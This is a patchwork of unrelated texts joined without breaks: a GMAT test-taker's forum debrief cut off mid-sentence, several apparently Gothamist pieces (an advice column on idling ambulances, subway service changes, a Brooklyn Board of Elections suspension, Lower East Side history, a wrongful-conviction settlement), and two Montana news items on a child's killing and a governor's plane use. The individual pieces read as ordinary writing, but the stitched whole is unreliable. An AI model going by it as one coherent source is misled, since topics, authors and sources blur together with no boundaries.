just would not behave with palm scanner). During the test, i had my adrenalin kicked in so high and honestly, i had no sense of time. i totally regret losing that 1 min of verbal section.Notes - i changed rough pad at every break. I used them for Quants and IR fairly well. AWA just to write few words. Verbal - may be one page to mark some answers off. i did not make any notes for RC. there was no time for me. Also, i was so much into the text, my memory was serving better map at least for a short while (to each his/her own, no right or wrong here i believe)Proctors - please don't assume that proctors will run you to your seat if you are late. its a special day for you but for them, a regular day. so that explains their leisurely walk. Also, raise your hand few seconds before while you continue submitting your last question, it took some time for them to look at my direction (proctor - busy dealing with another test taker/customer outside, one of the many situations) During test, i was feeling every second count!!Noise - unless you can focus with chaos all around, please take the ear plugs as well as noise canceling head phones. Test center was alright but there was someone coughing so bad, not distracting for noise but got me worried for germs. it was that bad stinking cough.Materials used for preparation - i used veritas in my first preparation. They are decent if you are not starting from an already high level of practice GMAT score. Second time, i used manhattan resources, SC bible, CR bible and . I also used GMAT prep with additional question packs (i did not completely exhaust each resource tho --my fault)Practice tests - Veritas CATs, MCATs, practice tests, GMATprep- free 2 and bought 2 additional (btw, my score is inline with how i was scoring in practice tests)Courses i absolutely hated - (i know there are many thinking to throw stones at me!! ) but sorry it was just not for me. I felt it was good if i know nothing about the subject but if i do have even a little bit it was so simplified and so slow that i felt mind numbingly boring to continue after few minutes. Also, i am not sure if material covers higher end questions. For super tough questions, explanation was not satisfying me; felt it was not correct at times(Felt, please don't ask for proofI am not going back to Qs again).....again, these are my feelings and it could just annoy me so much (regret buying it)My life is messy with unexpected responsibilities (looking to go back to job and a demanding, hyperactive toddler). Initially i was going thru so fast that i exhausted all CR Qs. Thats why i decided to slow down but thats when my other responsibilities needed a little bit more of me and towards the end, i ended up with so much to do. i studied just sooo much in last two weeks. I would totally not recommend this strategy to anyone. i had rescheduled my GMAT exam many times before so I did not want to do it againso my choice was fight or flight this time. two days before the exam, i was feeling totally **** and exhausted (believe me it is an understatement to how fatigued i was). My brain was so burned that i was hitting easiest of Quant questions all wrong...all the way wrong (the Qs i think i can do even in my dreams normally). so yeah i was so burned. that's when i realized it was time to STOP (big time) . i ate, watched movies, slept and spent time with my family for rest of the time before the test...f you can, you should avoid the burn situation completely.As for me, i don't think this score is my limit but with my life situation esp. the time constraints, i am perfectly satisfiedI hope my story helps someone...-----------------------------------Adding details---------------------------------Yes, you are right. In the three months time i took, i worked only on verbal. I said verbal is not my strong area in compare to quants. I am an enginneer and considering years of work in math/related areas verbal is not coming close.I have always been good at CR as long as I understand what is written:). I went thru for both my exams and it was a good read, something i really enjoyed reading. So to your question what made a difference is a lot of reading.I just started reading on different subjects on daily basis so that helped me with not only RC but also CR.I will go thru science and economics magazines in library/online and read at least a few pages every day (even on the days i was not studying GMAT at all). That helped me tremendously in the sense previously i could read only what interested me but now i can read anything. I learned to find interest in things I would have found totally boring. I learned to really emerge into the text and really get why an article is written. It was not a linear growth but undoubtedly, best thing i did for my preparation.I concentrated on improving accuracy and fixated on only the good books and materials i mentioned. In my first attempt, i was lost and i was just trying to get thru many questions from all kinda resources - a sure shot idea for failure.Regarding SC- there are so many grammar rules. I went thru powerscore and manhattan SC both times. But please don't mistake my reading to actually understanding it all. The second time around, i tried more on basics and totally ignored the big jumbo grammar words. I personally didn't feel like i needed to concentrated on very exceptional grammar rules (for ex last chapters on Manhattan). Not bcoz they could mot help me but bcoz i felt it was too much to remember and get confused (at least for my small brain). So i focused more on basic grammar via both books, trained my ear to what sounds better/correct and concentrated more on meaning. Of course reading helped me here too.I went thru my incorrect questions multiple times and to my surprise, i was making same mistake over and over. Just bcoz i read the solution it does not mean i really get it. So lets say i hit q#5 wrong, i read the solution and got it (thought so at the moment). 2-3 weeks down the line, tried same q and same mistake. So u see problem was i was not fixing my way of thinking. This time i worked on my mistakes.I maintained a really simple log and if my answer is incorrect i put my answer (that was imp for me) and X mark.For CR and RC - unless i made a silly mistake or missed some details, i was answering same incorrect answer. Actually i was accepting correct answer reluctantly (as in okay i agree to disagree. we both are different!!). Second time around, i was more accepting and will google that question on GMATclub, FB, Manhattan website and really spent good time understanding where i was wrong and how could i get to the correct answer (yes as Ron said) . Altho there is a downside of this tactic, you will be surprised to see so many incorrect comments so you will have to spend good time filtering.For correct questions - i made sure i was picking it for correct reason (this took time too but nowhere close to what it took analyzing incorrect answers)Another thing - i made sure i try at least 3 questions of each type (3CR, 1 psg RC, 3 SC, 3 PS, 3DS) on daily basis (i know sounds only a few but requires commitment). There were days when i could not even do this much. there was absolutely no time. Then i will do at least 3SC+3RC+3CRRegarding reading resources - WSJ, Economist, Scientific american, FEE (if you search this topic, you will find so many diff websites and some are even free). i started with newyorker though. it is on lighter side but at least it got me started (it's almost like reading fashion magazine just to make an habit of picking a resource and sitting with it..but hey, you got to start somewhereAccuracy is more imp than timing. As in, when you learn how to look for right things, you can pick correct answer a lot faster esp in a stress situation. but only timing does not lead anywhere.Also, i do not agree with reading RC just for main points (few lines here and there). i read from top to bottom, word to word and start to end. While reading for bigger picture but it is still imp to understand roles of all elements.None of my strategies are original. In fact, I learnt all of these from many on this club (my sincere thanks if you are reading
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Are you relatively new to this bustling metropolis? Don't be shy about it, everyone was new to New York once upon a time, except, of course, those battle-hardened residents who've lived here their whole lives and Know It All. One of these lifers works among us at Gothamistpublisher Jake Dobkin grew up in Park Slope and still resides there. He is now fielding questionsask him anything by sending an email here, but be advised that Dobkin is "not sure you guys will be able to handle my realness." We can keep you anonymous if you prefer; just let us know what neighborhood you live in.

This week's question comes from a New Yorker who is sick of the ambulances idling outside his apartment, but feels guilty complaining about it.



Hi NNY!

I live a few blocks from an FDNY house in north Brooklyn, and recently one of their ambulances has taken to idling in front of my apartment. A lot. For, like, HOURS at a time in the evening. Oftentimes I get home from work and they're in the cab napping with their big loud diesel engine idling away.

Usually with city vehicles I spot idling, I'll 311 their asses; I work at a warehouse in Brooklyn adjacent to a school bus lot, and I have no problem ratting them out when they idle underneath my office window. But I do have reservations about calling in on paramedics. From what I gather, they're supposed to be driving around at all times, but that seems a silly waste of resources (what's the odds that by driving around they'll be any closer to an emergency than if they just chilled by the firehouse?) and also, Jesus, driving around Brooklyn for hours is an exhausting idea and I like the idea of paramedics not being dog-tired when they're trying to resuscitate someone. So I don't have an issue with paramedics idling on the whole.

But shit man, that engine is loud and diesel fumes are stinky, and the weather is getting to the point where I'd like to be able to sit on my stoop after work, listen to the Mets on the radio with a stoop beer, and not be choked out by exhaust.



Do I talk to them? Do I anonymously rat them out? Do they need to chill on my corner EVERY night? I could handle a rotation; like one night a week would be cool, just not every evening until around 11 p.m.

Your thoughts on the matter are greatly appreciated. Thanks much!

-Joe in North Brooklyn

A native New Yorker responds:

Dear Joe,

I feel your pain! There are few things more irritating when you're trying to sleep or have a quiet stoop-beer than the grinding sound of a loud diesel engine. On the list of annoying New York street noises, they rank just below jackhammers and garbage trucks, but above Fresh Direct refrigeration units and birds making sex noises (take my word on thisthere are some pigeons doing it on top of the AC unit outside my desk window right now.)



A man and his matzoh. (Courtesy Jake Dobkin Private Collection)

New York City is quite strict with regular commercial and residential vehicles: "Current law requires that stationary drivers cut their engines after three minutes (one minute in a school zone) or face a warning; subsequent violations trigger a $220 fine." There are, unfortunately for you, necessary exceptions for emergency vehicles.

That doesn't mean the FDNY isn't sympathetic to your plight. I emailed them, and Frank Dwyer, their press secretary, got right back to me with a ton of information about their current idling rules, and what they're doing to reduce the burden on their residential neighbors. After explaining that the FDNY responds to 1.6 million medical emergencies a year, he wrote:

FDNY ambulances are staffed by EMTs and Paramedics, with two people assigned to an ambulance per tour. They begin their tours each day at an EMS Station, and then report to cross street locations when not on an active call. During the course of their tour, they will respond to several incidents, travel to and from hospitals and may stop back at their station to restock supplies as needed. On slower days, or in the overnight hours, there may be more downtime. FDNY averages approximately 4000 medical calls for ambulances each day.



The cross street locations are strategically chosen across all five boroughs to best maintain availability of units and ability to respond to calls. These locations are not based on a specific address (24 Main Street for example) but rather a 3 block radius that a unit is assigned to wait for a call. FDNY units respond from these locations rather than stations in order to provide greater coverage area and reduce travel time to calls. An ambulance may choose the exact spot in which to park for a few reasons, including: Parking availability at any given time in their response area

Ambulances cannot block a hydrant or bus stop

Security of the ambulance and members - a well-lit location for example

Weather - heat, wind, etc

Proximity to a highway, main thoroughfare, etc FDNY ambulances do remain idling for a number of reasons, including: The computer aided dispatch needs to be operational to receive calls

Ambulances contain medication that must be kept refrigerated

Units must be ready to respond at a moments notice to a potentially life-threatening call

Extreme temperature - either heat or air conditioning

The Department takes complaints about idling ambulances from those we serve very seriously. If an ambulance is parked on a location and there is a concern raised by a resident, the Department makes every effort to move the ambulance from that spot and to find another location in the three-block radius to park.

He added that the FDNY is working on two programs to eliminate the need for diesel idling entirely. In one, the department is building curbside charging stations. The state has provided funding for 39 of these, each of which will keep 45 tons of carbon out of the atmosphere. Locations for each station have to be approved by the local community boards, but they have approval from Woodlawn in the Bronx and Masbeth in Queens so far.



Ambulance charging station, courtesy FDNY

The second program requires the installation of auxiliary power units in all new ambulancesthese units provide electricity for the AC, radios, computers, and lights, without having to turn on the engine. So as the older ambulances are replaced, the problem you're having should gradually fade away.

In the meantime, take Frank's advice and voice your concern. You could call 311 and ask them to get the truck moved, but a more expeditious tactic would be walking downstairs, knocking on the window, and talking with the driver. A polite request to vary their location around the neighborhood, potentially accompanied by the offer of a small plate of cookies, will probably get the job done faster.

If they can't or won't move the ambulance, I recommend a white noise machine, triple paned windows, and one of those fancy HEPA air filters. I have friends who have apartments like ten feet from the BQE, and they have used these tools to stay sane while benefiting from the proportionally lower rents that living highway-adjacent provides.

Or, I don't know, meditate on the important service those paramedics and EMTs render to our city every day, and console yourself with the fact that if you ever have a heart attack or choke on a slice of pizza, help is literally only seconds away downstairs!

N.B.: According to FDNY stats, the average response time for a heart attack or choking incident in NYC is about five minutes. This is really fast, given the traffic around here! You can increase the chances that the first responders will be able to resuscitate someone if you've correctly applied CPR and/or the Heimlich maneuver before they arriveboth are easy to learn. Take a CPR class!

Ask a Native New Yorker anything via email. Anonymity is assured.
Have you, too, spent the past several days gazing longingly out your office window wishing you could soak up some vitamin D and enjoy the positively beautiful weather we've had this week? Well, rejoice: with the sheer number of trains suspending long stretches of service this weekend, plus the usual rerouting shenanigans happening on other lines, your best transportation option might just be your own two feet. No time like the present to start racking up those Fitbit-recommended 10,000 steps per day!

Here's what to expect this weekend on the 3, 4, 5, 6, 7, A, C, D, E, F, Q, R, and S trains:

3 trains are not running in either direction between Crown Hts-Utica Ave and New Lots Av from 11:30 p.m. on Friday to 5 a.m. on Monday. Shuttle buses will make all station stops.

4 trains are not running in either direction between New Lots Av/Crown Hts-Utica Av and Bowling Green from 11:45 p.m. on Friday to 5 a.m. on Monday. Downtown 4 trains will run express from 125 St to Grand Central-42 St from 11:45 p.m. on Friday to 6 a.m. on Saturday; 11:45 p.m. on Saturday to 8 a.m. on Sunday; and 11:45 p.m. on Sunday to 5 a.m. on Monday. And from 11:45 p.m. on Friday to 5 a.m. on Monday, Pelham Bay Park-bound 6 trains will skip Astor Pl.

5 trains are not running in either direction from 11:30 p.m. on Friday to 5 a.m. on Monday. Shuttle buses will run between Eastchester-Dyre Av and E 180 St, stopping at Baychester Av, Gun Hill Rd, Pelham Pkwy, and Morris Park.

6 trains are not running in either direction between Pelham Bay Park and Parkchester from 3:30 a.m. on Saturday to 10 p.m. on Sunday. Free shuttle buses will operate between the two stops. Brooklyn Bridge-City Hall-bound 6 trains will run express from 125 St to Grand Central-42 St from 11:45 p.m. on Friday to 6 a.m. on Saturday; from 11:45 p.m. on Saturday to 8 a.m. on Sunday; and from 11:45 p.m. on Sunday to 5 a.m. on Monday. Also, uptown 6 trains will skip Astor Pl from 11:45 p.m. on Friday to 5 a.m. on Monday.

7 trains are not running in either direction between 34 St-Hudson Yards and Queensboro Plaza, from 12:15 a.m. on Saturday to 4:30 a.m. on Monday. Shuttle buses will run between 34 St-Hudson Yards and Times Sq-42 St, and between Vernon Blvd-Jackson Av and Queensboro Plaza. Also, from 3:45 a.m. on Saturday to 10 p.m. on Sunday, Queensboro Plaza-bound 7 trains will run express from 74 St-Broadway to Queensboro Plaza.

Brooklyn-bound A trains will skip 50 St, 23 St, and Spring Street from 11:45 p.m. on Friday to 6:30 a.m. on Sunday, and from 11:45 p.m. on Sunday to 5 a.m. on Monday. Also, from 12:01 a.m. on Saturday to 5 a.m. on Monday, Brooklyn-bound A trains will run local between 125 St and 59 St-Columbus Circle.

Brooklyn-bound C trains will skip 50 St, 23 St, and Spring Street from 6:30 a.m. to 11 p.m. on Saturday and Sunday.

Brooklyn-bound D trains will run local from 125 St to 59 St-Columbus Circle from 12:01 a.m. on Saturday to 5 a.m. on Monday.

World Trade Center-bound E trains will skip 23 St and Spring Street in both directions from 11:45 p.m. on Friday to 5 a.m. on Monday. They'll also run express from 71 Av to Queens Plaza from 12:15 a.m. on Saturday to 7 a.m. on Sunday, and from 12:15 a.m. to 5 a.m. on Monday.

Jamaica Center-Parsons/Archer-bound F trains will be rerouted on the M line from 47-50 Sts to Roosevelt Av, from 11:45 p.m. on Friday to 5 a.m. on Monday. Also during that time, Coney Island-Stillwell Av-bound F trains will run express from Smith-9 Sts to Church Av.

Q trains will run to Astoria-Ditmars Blvd from 7 a.m. to 9 p.m. on Saturday and from 9 a.m. to 7 p.m. on Sunday.

Brooklyn-bound R trains will run express from Forest Hills-71 Av to Roosevelt Av from 5 a.m. to 7 a.m. on Saturday and Sunday.

The 42 St S shuttle will operate overnight from 12:01 a.m. on Saturday to 6 a.m. on Monday.
The Republican head of the Brooklyn Board of Elections is taking the fall, at least temporarily, for some of the many reported irregularities that may have left many unable to vote citywide on Primary Day. Clerk Diane Haslett-Rudiano has been suspended without pay pending an internal city Board of Elections investigation into her handling of voter rolls in Brooklyn, where 126,000 registered Democrats were removed from active status since November of 2015. Mayor Bill de Blasio said that whole buildings, and even whole blocks, had been removed from the active voter rolls.

The suspension is the first acknowledgment by the BOE that its leaders and administrators might have mishandled records in the lead-up to the presidential primary. Hundreds of reports statewide of voters who believed themselves to be registered with a party, mostly the Democratic Party, and found on or shortly before Primary Day that they were un-registered or listed as independents have prompted a state investigation, a city audit, and a federal lawsuit.

On Wednesday, board director Michael Ryan said, "No one was disenfranchised," and blamed, as state, city, and judicial officials have throughout weeks of public concern, new voters' unfamiliarity with New York's closed primary system, and long-time voters' buyer remorse for having changed parties sometime in the recent past.

The Board of Elections is an agency built on political patronage, and periodic fits of outrage over its deep dysfunction have resulted in few if any reforms over the years. Commissioners, who oversee top-level hiring, are hand-picked by the political bosses of the Republican and Democratic machines and approved by the City Council, making the board accountable to party operatives, but not the public.

For instance, Haslett-Rudiano has run the Brooklyn office for at least 10 years despite a scandal a decade ago that would give HR directors migraines. A 2005 Department of Investigation probe found that she had lied about her address on her voter registration, saying that she lived in East New York when she actually resided in Forest Hills. Commissioners cleared Haslett-Rudiano of felony voter fraud charges, and allowed her to keep her job, after considering undisclosed mitigating factors.

The now-embattled clerk has a more clear record of being a scofflaw in another area, having hoarded a vacant brownstone on the Upper West Side for years, and let it fall into extreme disrepair, despite complaints from neighbors and numerous fines from the Buildings Department. She sold the decrepit building for $6.6 million in 2014.



Brooklyn Board of Elections deputy clerk Betty Ann Canizio (Facebook)

There are indications, also, that Haslett-Rudiano is not the only one to blame for the irregularities associated with the Brooklyn purge. WNYC reports that the BOE is specifically looking at "whether she skipped a step in the list maintenance process that led to the voter purge," but the New York Post's unnamed sources believe that she was only responsible for Republican records, and that her colleague deputy clerk Betty Ann Canizio was supposed to oversee the Democrats' registrations. Then again, as a damning 2013 Department of Investigation report [pdf] on the agency explains, the purging of a voter from the rolls requires the sign-off of two BOE employees, one from each party.

Canizio has her own record of allegedly skirting the law, as the Post reports:

Canizio was also at the center of a illegal parking placard scandal that rocked her office  yet somehow avoided punishment.

Two Brooklyn elected officials told The Post Canizio bragged at a Democratic committee meeting in 2014 that she illegally gave away her city-issued parking placard to her husband so he could avoid tickets. She then recruited David Annarummo, a BOE administrative associate, to drive her to and from work as part of his duties.

Annarummo was one of the five staffers busted using fake, photocopied parking placards and slapped with fines of up to $500 by the citys Conflicts of Interest Board.

He signed a disposition last September admitting to using a forged permit to drive his boss to work from June to December of 2014. His statement never mentioned Canizio by name but notes the deputy chief clerk was in the vehicle while the forged BOE parking permit was displayed in the windshield. For this reason, I believed that the heads of the BOE Brooklyn Borough Office were aware of and condoned employees use of the forged parking permits.

Mayor de Blasio this week called for "major reforms" to the agency, but it's not clear what shape they might take or what he could do to make them happen, and City Hall won't elaborate. He isn't the first to bemoan the dire state of the Board. In 2008, then-mayor Michael Bloomberg said, "The public is as badly served by this agency as any city thing or state thing I've ever seen."

If all that doesn't make you want to throw your computer into the East River, try this on for size: Last summer the BOE's board of commissioners voted in secret to give the board's management big raises. Ryan, the director, got a $17,600 raise, to $198,200. Canizio's pay jumped from $102,7555 to $120,000. Haslett-Rudiano's pay went up from $125,758 to $130,000, records show.

The BOE has not responded to several requests for information and comments, and an interview with Ryan.
The Lower East Side has an incredibly rich historyonce home to two great estates and a smattering of working-class artisans, the neighborhood famously became a gateway for immigrants from everywhere from Germany to Eastern Europe to China to Puerto Rico, making it a true melting pot. This rich cultural background has been threatened by rampant gentrification and luxury developments over the years, so it's worth taking a look at some lesser known facts about the 'hood, with a little help from the Tenement Museum and others; leave any trivia we missed in the comments.



(Scott Heins/Gothamist)

1. Before the Revolutionary War, the Lower East Side was primarily divided up by two major estates. The first estate belonged to James de Lancey, a politician and the acting colonial governor of New York who was loyal to the British even though he voted against the Stamp Act in 1756. The de Lancey farm, as it was known, ran from Division Street up to Houston Street east of the Bowery. Orchard Street, which fell within those boundaries, was actually a real orchard filled with cherry trees, which is why the uptown F train platform at the Delancey/Essex station boasts cherry grove mosaics.

De Lancey's tenants were primarily artisans and working class folks, but the de Lancey family lost their land when the colonies won the war, and New York state took over. Sadly, the artisans were no longer able to afford the land, and wealthier families moved in.

(Sounds familiar...) There aren't many federal-style homes standing from around that time, though there's still one stalwart on Allen Street.

The second estate belonged to the Rutgers family, and their grid was located further south from the de Lanceys' property. Rutgers was lucky enough to get a spot along the shoreline, with the northern border running up Division Street and just a corner buttressing the Bowery. Unlike de Lancey, patriarch Henry Rutgers was a revolutionary, and oversaw recruitment in the army on the part of the colonies. His home, however, was occupied by the British during the war, though Rutgers later returned to his estate.



(Scott Heins/Gothamist)

2. There's an old municipal bathhouse on Delancey and Rivington that's since been repurposed as a Chinese-language Protestant church. Municipal bathhouses were all the rage in the 19th century, when social reformers began to believe high mortality rates were being caused by uncleanliness citywide. Mott Street scored the city's first public bathhouse in 1852, and by early 20th Century they were all over the East Village and Lower East Sideone bathhouse, located on Allen Street near Rivington Street, was in use by area residents until 1975. Now, though, it's the Church of Grace to Fujianese, though you can still see the seahorse and seashell iconography on its facade from the days of yore.



(Scott Heins/Gothamist)

3. The Lower East Side has a long (and continued!) history as a "gateway neighborhood," mostly thanks to its role as a garment manufacturing hub in the 19th century. The LES has long since been synonymous with the immigrant experiencein the mid-1800s the area was populated by German immigrants, famously followed by Eastern European Jews and Italian immigrants about 20 to 30 years later. Chinese immigrants followed, and then newcomers from Puerto Rico and the Dominican Republic.

There are a couple of reasons why the first wave of immigrants headed to the Lower East Side, but in the 1840s and 1850s, the main draw was the neighborhood's proximity to jobs. The neighborhood was laden with small-scale garment manufacturers, and by the 1880s and 1890s, the LES was the garment manufacturing capital for the entire nation, with 70 percent of women's clothing made in the neighborhood. On the Orchard Street block where the Tenement museum currently stands, there were once as many as 23 small-scale factories.

And of course, there was the housingthough the LES was full of two-story woodframe homes in the 18th century, by the mid-to-late 19th century larger brick tenement buildings started popping up to address a housing shortage. These narrow buildings, while typically cramped and filthy, were utilized by newly-arrived immigrant families, since they were cheap and could be divided up into multi-family living spaces. They were so popular with immigrants that by the turn of the 20th century, nearly 2.3 million people lived in tenement houses.



Scene on the Bowery, ca. 1900 (Courtesy of the MCNY

4. Bars on the Bowery used to be lethal...literally. The Bowery was filled with bars long before ghosts and rich people moved into The Bowery Hotel, but in the 19th century, it wasn't exactly a place for laypeople to knock back a few cocktails. Though you could find some standard saloons, back then, the street played home to a number of "shock houses" and "suicide halls" for people who wished to kill themselves, either slowly or all at once.

Shock houses were for the drinkers who preferred to drag out the destruction of their organsthey were dubbed as such because patrons would "get a shock, walk a block, and fall into the gutter," according to Luc Sante's excellent NYC chronicle Low Life. These bars included Doctor's, which offered drinkers their seventh drink free and provided sleeping benches for five cents; the Billy Goat, where you could get two drinks for a nickel between 5 and 5:30 a.m., and the Dump, which was perfectly named. The liquor at these bars was mixed with all sorts of terrible things, like benzene, camphor and cocaine, and drinks were cheap as hell.

Suicide halls, like McGurk's at 295 Bowery, were pretty much as they sound. McGurk's was primarily a sailor bar, but it was also a prostitute hangout, and Low Life described it as "the lowest rung" for women who were down on their luck. In 1899, as many as six people killed themselves on the premises, and even more at least tried. The suicides and suicide attempts were a big draw for tourists, and a large part of what made McGurk's so successful before it shut down in 1902.

5. The St. Patrick's Day Parade used to run though the Lower East Side. The St. Patrick's Day parade as we know it takes over Fifth Avenue uptown, but in its early days it ran through Lower Manhattan, which makes sense considering that's where the city's Irish population was centralized way back when. It's not clear exactly when the first parade was held, although the parade organization officially pinpoints the date as March 17, 1762. Newspaper articles from the 1770s describe 400 Irishmen marching from Lower Broadway to taverns on the Bowery, which was a drinking street even before the suicide halls moved in.

By the mid-1800s, when even more Irish immigrants moved to New York during the Great Potato Famine, thousands upon thousands of marchers would take over Lower Manhattan from City Hall to the Bowery to East Broadway to Grand Streetin 1870, that procession would squiggle up to Union Square. The parade moved uptown in 1879, after St. Patrick's Cathedral (which was originally on Prince Street) was constructed on 5th Avenue.

6. The LES was Ground Zero for the famous food riots in 1917. When the country was on the cusp of entering World War I, the average cost of an LES family's groceries spiked from $22-a-month to $59-a-month, which was devastating considering a family's monthly income could be as little as $40. Working class families were unable to afford standard items like butter and eggs, and conditions in the already cramped and difficult neighborhood got worse.

The riots officially began in Brooklyn on February 19, 1917, but they quickly spread to the Lower East Side, where hundreds of frustrated housewives marched from Rutgers Square to City Hall on February 20th to beg city officials to help bring down the cost of groceries. Things turned violent, with women shouting at officials, "We want food for our children! and attacking policemen.

Advocates from the Mothers Anti-High Price League demanded the city, state and national governments provide $2 million to help restock stores and provide school lunches for children, but the Lower East Side continued to physically revolta Times piece from 1917 describes: "Through Pitt, Ludlow, Rivington, Essex, Suffolk and all of the east side streets the crowd surged, passing from one shop to another waving the heads and wings and mutilated bodies of chickens." By early March, the city provided the area with some lower-cost produce and groceries.



(Scott Heins/Gothamist)

7. The LES is home to the city's first housing project. While the tenements were a private market response to an affordable housing crisis in the 19th century, in the 20th century (1938, to be exact) the city decided to address the decrepit quality of housing for the poorest New Yorkers by rezoning the area along the city's waterfront to build public housing. The projects were pitched as large-scale apartment complexes that would stretch over a number of blocks, complete with playgrounds and public schoolsthe U.S. Housing Authority Administrator at the time argued the developments would permit the government to "rehouse as many slum dwellers as possible in decent and healthful homes."

Though there was already a public housing project on East 3rd Street, it was neither part of the zoning plan nor financed by the city. Instead, the first development was the Vladeck Houses bounded by Gouverneur Street/Henry Street/Water Street/Jackson Street. The development was named after Baruch Charney Vladeck, an original member of the NYCHA board who helped plan financing for the projects. When the Vladeck Houses opened in November 1939, Mayor Fiorello LaGuardia described the development as "a unity of families to whom a city is giving their birthright." Over the next few decades, the East Side waterfront gained a whole host of housing projects, including the Rutgers Houses, LaGuardia Houses, Riis and Wald developments, and Baruch Houses.



(Scott Heins/Gothamist)

8. The neighborhood's borders are up for dispute. Not that this isn't the case for most neighborhoodsthe East Williamsburg/Bushwick battle will never diebut while the Lower East Side officially begins at East Houston Street, not long ago residents considered most of the East Village part of the neighborhood, too, with the northern boundary stretching all the way up to 14th Street.

The western boundary is also up for debatethe Bowery is the most obvious choice, but a 2005 Village Voice article declared the Bowery a separate neighborhood on its own, setting the western boundary at Chrystie Street.

It's also noteworthy that the LES is can be difficult to navigate. It's serviced by far fewer subway stops than the West Side, and the way the streets are gridded makes it much harder for car traffic to cut through.

9. There's a troll museum in an artist's apartment in the neighborhood. Artist, museum curator, and elf ear-wearer Reverend Jen runs the city's only Troll Museum out of her six-story rent-controlled walkup, and though you have to make an appointment with her in order to get inside, if you do you're in for a trip. The 16-year-old museum boasts over 400 colorful troll dolls, all of which, according to Untapped Cities, have managed to survive both a steam pipe explosion in the apartment in 2010 and Reverend Jen's Chihuahua, who likes to chew on the museum's subjects.

The trolls are incredibly diverseReverend Jen's even got an Elvis troll, some scary punk rock trolls, and a two-headed troll encased in Plexiglass. The museum has notably been in danger of closing over the years, just like everything else in the neighborhood.
Five people who were wrongfully convicted in the 1995 murder of a cab driverand each spent more than 17 years in prison before their convictions were overturnedwill receive $40 million from the city in a settlement of the civil rights lawsuits that they filed after they were released. Devon Ayers, Michael Cosme, Carlos Perez, Eric Glisson, and Cathy Watkins were imprisoned for fatally shooting Baithe Diop in his livery cab, and the first three aforementioned defendants were also convicted for shooting Denise Raymond, a FedEx executive. However, in the winter of 2012-2013, the Bronx District Attorney's office overturned their convictions after Diop's murder was linked to two members of the Sex Money Murder gang.

In a letter filed yesterday in Manhattan federal court, the city's Law Department informed Judge Jesse Furman that it had completed settlements with Cosme, Perez, and Ayers, and reached settlement agreements with Glisson and Watkins. The New York Times reports that the plaintiffs will receive $8 million each in settling their lawsuits, which specifically accused two NYPD officers of mishandling the murder investigations. They previously received $19.45 million from a settlement with the state.

The plaintiffs will receive just about as much money as the Central Park Five, who, in 2014, received a settlement of just over $40 million over their wrongful convictions in the 1989 rape of Trisha Melli.

"Our clients spent 18 years in jail, and their lives are forever changed," said Earl Ward, the attorney representing Cosme and Perez, told us today. "This settlement allows them to attempt to rebuild their lives, and it affirms what they've been saying for many, many, many years, that they were innocent of these charges and that they suffered a grave injustice as a result of being incarcerated for 18 years."

According to the Times, the city said that by settling the suits it was not admitting that it had violated the rights of any of the five who were wrongfully convicted. The Law Department said that "these suits were brought by people who together spent nearly one hundred years in prison, whose convictions were vacated by the Court after reviews by federal and local prosecutors. The parties have agreed to resolve these longstanding and complex cases through settlements we believe are fair and in the best interests of the city."

When Glisson and Watkins had their convictions overturned in 2012, the two had to spend an extra five days behind bars because Rikers Island did not have enough ankle monitors available, and, per the terms of their release, they had to wear monitors for 90 days.

In 2014, Glisson, who served nearly 18 years in prison before his conviction was overturned, accused his arresting officers of covering up their mistake rather than finding the people who were indeed responsible for Diop's murder. Jose Rodriguez and Gilbert Vega confessed to murdering Diop when arrested for other crimes, and Glisson said that it was "a tragedy that these other people had to lose their lives because of the negligence of the New York City Police Department." Glisson's lawyer told the Times that his client is expected to finalize his settlement today.

Perez, who is now 47 and lives in Pennsylvania, told the Daily News that he has spent the years since his release trying to reconnect with his children, who were under 12 when he was arrested but are now adults.

"It's not easy to adapt after 18 years in a cage," he told the tabloid. "My children were my life...One day, police officers grabbed me and took me to prison. No one can replace what I lost. The criminal justice system is broken."

Now that the five have reached settlement with both the city and the state, they've reached the end of their litigation over their wrongful imprisonments.

"They're pleased that it's over, pleased that they no longer have to go back to deal with the court process," Ward said. "It allows them to try to put this horrific ordeal behind them."
A federal investigator says a woman beat to death a 1-year-old girl on a Montana Indian reservation and threw the baby's body into a dumpster.

Forty-two-year-old Janelle Red Dog appeared in Fort Peck Tribal Court on Friday in the death of Kenzley Olson. Court officials say she didn't enter a plea and was returned to custody.

KTMF-TV reports (http://bit.ly/1VH42wl ) Bureau of Indian Affairs investigator Ken Trottier says Red Dog confessed to punching Kenzley several times on Tuesday, killing her. She then put the girl's body into a duffel bag and threw it in a dumpster.

Trottier says Red Dog reported Kenzley missing, prompting authorities in Montana and North Dakota to issue an alert for a kidnapped child. The relation between Red Dog and the girl is uncertain.

Red Dog's attorney, Mary Zemyan, didn't immediately return a telephone message from The Associated Press seeking comment.
HELENA  Three state lawmakers say they are going to propose a bill in the 2017 Legislature to change how a state-owned plane can be used.

Sen. Mark Blasdel, R-Kalispell, and Reps. Ryan Osmundson, R-Buffalo, and Brad Tschida, R-Missoula, said the bill will prohibit use of the state plane for traveling to state events within 120 miles of Helena, except in an emergency.

The bill would also prohibit the use of a state plane when official and campaign events fall on the same trip.

The move comes after Republicans have criticized Gov. Steve Bullock's use of the state-owned plane. Rep. Brad Tschida, R-Missoula, accused Bullock of holding campaign events at taxpayer expense in a guest opinion ran in The Missoulian newspaper.

Over the years, Democrats and Republicans have traded jabs over use of the state plane. Last legislative session, a budget subcommittee on a partisan vote stripped away money used to pay for the plane temporarily. Tschida made the motion, arguing too many flights were made to places like Butte, Great Falls and Missoula. Bullock's staff has said the plane is necessary for travel in a large state and to keep the governor from spending all his time getting from place to place.

This campaign season, he has criticized flights Bullock made to state events in Billings, Missoula and Bozeman and then attended campaign events after.

Bullocks legal advisors have said there was nothing wrong with the governors use of the plane.

Bullock spokeswoman Ronja Abel said Thursday: "Gov. Bullock uses the state plane less on average than any previous governor. It is a shame these legislators are already more focused on playing politics with plane policy than they are on job creation policy."

However, the governor released a new policy last month to allow for reimbursement.

The policy the governor adopted and made retroactive to the start of his term will refund the state, though the release said increased costs to the state are very rare due to the fixed costs associated with the trips.

The governor has paid the state back for costs from 21 trips. The state plane costs $500 an hour to operate, according to a Bullock spokeswoman. That works out to Bullock paying back an average of $127.23 per trip.

On Friday the Republican Governors Association will release its first ad in the Montana governor's race. The ad focuses on Bullock's use of the state plane.

The six-figure ad buy will run in four markets across the state.

